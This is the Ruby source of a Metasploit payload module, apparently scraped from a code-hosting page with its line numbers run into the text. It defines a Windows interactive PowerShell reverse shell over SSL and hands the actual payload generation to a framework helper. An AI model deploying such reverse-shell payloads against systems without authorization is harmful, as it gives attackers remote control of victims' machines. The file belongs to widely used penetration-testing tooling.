Path: blob/master/modules/payloads/singles/windows/powershell_reverse_tcp_ssl.rb
21540 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4require 'rex/powershell'56module MetasploitModule7CachedSize = :dynamic89include Msf::Payload::Windows::Exec10include Msf::Payload::Windows::Powershell11include Rex::Powershell::Command1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Windows Interactive Powershell Session, Reverse TCP SSL',18'Description' => 'Listen for a connection and spawn an interactive powershell session over SSL',19'Author' => [20'Ben Turner', # benpturner21'Dave Hardy' # davehardy2022],23'References' => [24['URL', 'https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit']25],26'License' => MSF_LICENSE,27'Platform' => 'win',28'Arch' => ARCH_X86,29'Handler' => Msf::Handler::ReverseTcpSsl,30'Session' => Msf::Sessions::PowerShell31)32)33end3435#36# Override the exec command string37#38def powershell_command39generate_powershell_code('SSL')40end41end424344